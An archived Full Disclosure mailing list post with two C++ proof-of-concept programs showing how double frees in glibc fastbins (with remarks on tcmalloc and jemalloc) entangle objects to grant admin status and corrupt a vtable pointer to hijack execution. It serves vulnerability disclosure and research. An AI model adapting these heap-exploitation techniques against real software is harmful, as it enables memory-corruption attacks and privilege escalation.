Full Disclosure mailing list archives
double free's in glibc (and tcmalloc/jemalloc)
From: PIN <zero () asac co>
Date: Thu, 16 Jul 2015 11:04:19 -0400
/* glibc fastbin / tcmalloc / jemalloc double destructor/free example * * This example demonstrates a pattern with a base type with a protected * destructor so as to avoid glibc's corruption of the vftable pointer, * that exact condition does not exhibit itself with jemalloc, however * there appears to be additional memory corruption in tcmalloc that * leaves the heap in a less than stable state, however it was not * further investigated. * * In this example, whether vtable verification is enabled or not is * irrelevant, as the same object type occupies the same memory location * and so all vptr's will correctly validate. However, the instance * variables are shared and thus the objects become entangled with * one another and a modification to the state of one object modifies * the state of the other. As such, the unauthenticated regular user * becomes an authenticated administrative user when the instance * variables in one instance are changed. * */ #include <cstdint> #include <cstdlib> #include <vector> #include <iostream> class user_base_type { private: protected: bool m_is_admin; bool m_is_auth; ~user_base_type(void) {} public: user_base_type(bool auth, bool admin) : m_is_auth(auth), m_is_admin(admin) {} virtual void set_auth(bool a) { m_is_auth = a; } virtual void set_admin(bool a) { m_is_admin = a; } virtual bool get_auth(void) { return m_is_auth; } virtual bool get_admin(void) { return m_is_admin; } }; class user_type : public user_base_type { private: protected: public: user_type(void) : user_base_type(false, false) {} ~user_type(void) {} }; signed int main(void) { user_type* o(nullptr); user_type* t(nullptr); user_type* h(nullptr); o = new user_type; t = new user_type; delete o; delete t; delete o; o = new user_type; t = new user_type; h = new user_type; std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl; o->set_auth(false); o->set_admin(false); h->set_auth(true); h->set_admin(true); std::cout << "o auth: " << o->get_auth() << " admin: " << o->get_admin() << std::endl; std::cout << "h auth: " << h->get_auth() << " admin: " << h->get_admin() << std::endl; return EXIT_SUCCESS; } /* glibc fastbin's double destructor example * * This example doesn't actually double free. * Instead it takes advantage of heap state and the * fastbin linking mechanisms to redirect execution * flow to a pointer of the attackers choosing * when the destructor is called the same time. * * When vtable verification is absent, this will * attempt to call 0x4141414141414141 and segfault. * * When vtable verification is present, it will * do the same, however it will abort due to the * failure to verify the vftable. A work around * would be any condition where the attacker is able * to reconstruct the vftable of type_one inside of * m_buf/etc. * * This condition occurs because: * - p->fd = *fb * *fb = p->fd * * Thus if an attacker can control the state of the * fastbin, and the data within the chunk at the top * of the fastbin, then they can cause the p->fd linking * which corrupts the vtable pointer to point to a * location of their choosing. * * The caveat being that the subsequent calls through the * vtable are sufficiently deep enough into the table * to point past the end of the heaps metadata for the * chunk. * * !!!! * JEMALLOC DOES NOT SHARE THIS CONDITION * !!!! * * tcmalloc seems to exhibit alternative memory * corrupt which makes the outcome less stable * however the what and why of it was not investigated. */ #include <cstdint> #include <cstdlib> #include <cstring> #include <string> #include <vector> class type_one { private: uint8_t m_buf[32]; protected: /* * For the initial steps, the biggest * constraint is that vptr+offset to destructor * must be greater than the metadata in mallocs * chunk structures. In practice, this doesn't * seem to be overly problematic, for instance * in Qt everything is derived from QObject * with at least a few additional derived * classes. Thus what seems unreasonable or at * least bordering on it in this example really * isnt. */ virtual void method_one(void) {} virtual void method_two(void) {} virtual void method_three(void) {} virtual void method_four(void) {} virtual void method_five(void) {} virtual void method_six(void) {} virtual void method_seven(void) {} virtual void method_eight(void) {} virtual void method_nine(void) {} virtual void method_ten(void) {} virtual void method_eleven(void) {} public: type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; } virtual ~type_one(void) { return; } }; signed int main(void) { type_one* one(nullptr); type_one* pad_zero(nullptr); type_one* pad_one(nullptr); /* * What we are specifically abusing here is that * fastbin chunks are not doubly linked, and * they are linked into the fastbin freelist * via a construct akin to: * p->FD = *fb; * *fb = p; * * This has the side effect that our vftable * pointer is corrupted during free. However * depending on context of the application, * this can be useful to us; although only * in the presence of other failures like a * leak that discloses address space layout * and similar. */ pad_zero = new type_one; pad_one = new type_one; delete pad_zero; delete pad_one; /* * with a chunk whose data we can * control preceeding the object * we intend to double free, * we can seize control of * the instruction pointer here * providing that the data we control * is is outside of mallocs metadata. */ one = new type_one; delete one; // <-- corrupts the vptr delete one; // <-- attempts to call vptr+offset // which points to m_buf[x] return EXIT_SUCCESS; }
Attachment:
unmap-glibc.cpp
Description:
Attachment:
virtual-glibc.cpp
Description:
Attachment:
virtual-staticdtor-same.cpp
Description:
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- double free's in glibc (and tcmalloc/jemalloc) PIN (Jul 16)